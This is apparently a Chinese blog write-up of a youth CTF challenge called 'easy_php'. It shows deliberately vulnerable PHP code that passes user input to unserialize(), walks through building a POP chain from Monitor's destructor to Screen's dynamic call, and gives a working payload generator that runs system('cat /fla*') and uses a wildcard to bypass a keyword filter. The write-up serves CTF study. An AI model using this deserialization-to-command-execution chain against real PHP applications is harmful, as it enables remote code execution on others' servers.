【青少年CTF S1·2026 公益赛】easy_php

php 复制代码
<?php
// 屏蔽报错,增加一点黑盒难度
error_reporting(0);
// TIPS: FLAG在根目录下

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

    public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }
}

class Logger {
    public function alert() {
        echo "System normal. No alert needed.\n";
    }
}

class Screen {
    public $content;
    public $format;

    public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }
}

// 入口点
if (isset($_GET['code'])) {
    $input = $_GET['code'];

    // 简单的过滤,不允许直接输入 flag 关键字,但这不影响反序列化过程
    if (preg_match('/flag/i', $input)) {
        die("No flag here!");
    }

    unserialize($input);
} else {
    highlight_file(__FILE__);
}
?>

PHP 反序列化 (POP 链构造)题目

php 复制代码
入口点:unserialize($_GET['code']),存在反序列化漏洞。
过滤:preg_match('/flag/i', $input) 禁止输入中出现 flag 字符串。

那么我们先寻找利用点,下面这段代码想办法把func变成system,然后this->content变成cat /flag

php 复制代码
public function alert() {
        // 这里的调用看起来像是一个格式化输出
        $func = $this->format;
        return $func($this->content);
    }

那么我们如何调用Screen类下的alert()函数呢?

可以看到在Monitor中会调用alert()函数

php 复制代码
public function __destruct() {
        // 当对象销毁时,如果状态是 danger,则触发报警
        if ($this->status === "danger") {
            $this->reporter->alert();
        }
    }

但是这里有一个问题,在Monitor的构造函数中,发现$this->reporter = new Logger(),reporter会new Logger()

但是这个Logger不是我们想要的

php 复制代码
public function __construct() {
        $this->status = "normal";
        $this->reporter = new Logger();
    }

因此我们要想办法将Logger替换为Screen

最后Monitor销毁的时候会自动调用__destruct()实现攻击

思路整理如下:

php 复制代码
我们需要做的事情:
1、在Screen类中
将$format = 'system'
将$content = 'cat /flag'

2、在Monitor类中
将$status = 'danger'
将$reporter = new Screen()

我的payload如下

php 复制代码
<?php

class Monitor {
    private $status;
    private $reporter;

    public function __construct() {
        $this->status = "danger";
        $this->reporter = new Screen(); # new 一个对象的话必须要使用__construct,不能直接赋值给静态变量
    }

}


class Screen {
    public $content = "cat /fla*";  # 通过通配符绕过flag过滤
    public $format = "system";  # 静态变量可以直接这样赋值


}

$exp = new Monitor();
echo(urlencode(serialize($exp)));

?>

下面是原作者的图

这里我直接本机演示下我的payload是否可行,尝试执行whoami命令,是正常可用的

相关推荐
HackTwoHub10 小时前
ARL灯塔重构版:支持APP/小程序/WEB资产同步扫描
人工智能·安全·web安全·网络安全·小程序·重构·自动化
ccino .12 小时前
Hackerone-地址栏xss
网络安全·xss
数据知道13 小时前
网络安全工具箱:100+ 工具分类速查与选型建议
安全·web安全·网络安全
txg66614 小时前
路径级持久化模糊测试:XSSky 如何精准击破 XSS 漏洞
深度学习·安全·web安全·网络安全·xss
红信鸽15 小时前
2026 年 AI 钓鱼攻击现状与防御深度解析
网络安全
数据知道18 小时前
安全实验室搭建指南:一台电脑搭出完整靶场环境
安全·网络安全·电脑
LYFlied1 天前
EVMbench解读:AI Agent如何检测、修复并利用智能合约漏洞
人工智能·网络安全·openai·智能合约·ai agent·evm·智能合约区块链
Hiyajo pray2 天前
属性sdn隐私保护分析
网络安全
Hiyajo pray2 天前
属性sdn的隐私保护策略(1)
网络安全
HackTwoHub2 天前
某单位 CMS 完整渗透链、SQL 注入→后台拿权→绕过宝塔 Waf 上线 shell
数据库·人工智能·sql·安全·网络安全·系统安全·安全架构